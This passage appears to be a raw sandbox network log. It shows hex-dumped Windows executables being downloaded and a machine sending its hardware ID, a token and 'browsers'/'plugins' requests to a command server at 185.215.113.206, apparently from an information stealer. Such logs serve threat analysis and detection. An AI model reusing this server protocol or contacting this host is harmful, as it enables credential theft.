Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 03:34:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 03:34:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 03:34:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 03:34:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 03:34:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCFHDAKECFIDGDGDBKJDHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 46 35 33 31 30 44 45 39 45 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------GCFHDAKECFIDGDGDBKJDContent-Disposition: form-data; name="hwid"4F5310DE9E39786254513------GCFHDAKECFIDGDGDBKJDContent-Disposition: form-data; name="build"tale------GCFHDAKECFIDGDGDBKJD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCGDBGCAAEBFIECGHDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 2d 2d 0d 0a Data Ascii: ------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="message"browsers------JDGCGDBGCAAEBFIECGHD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="message"plugins------GHDAAKJEGCFCAKEBKJJE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJEBAAECBGDHIECAKJKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="message"fplugins------KKJEBAAECBGDHIECAKJK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGCGDHJEGHJKFHJJJKJHost: 185.215.113.206Content-Length: 5619Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKKHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 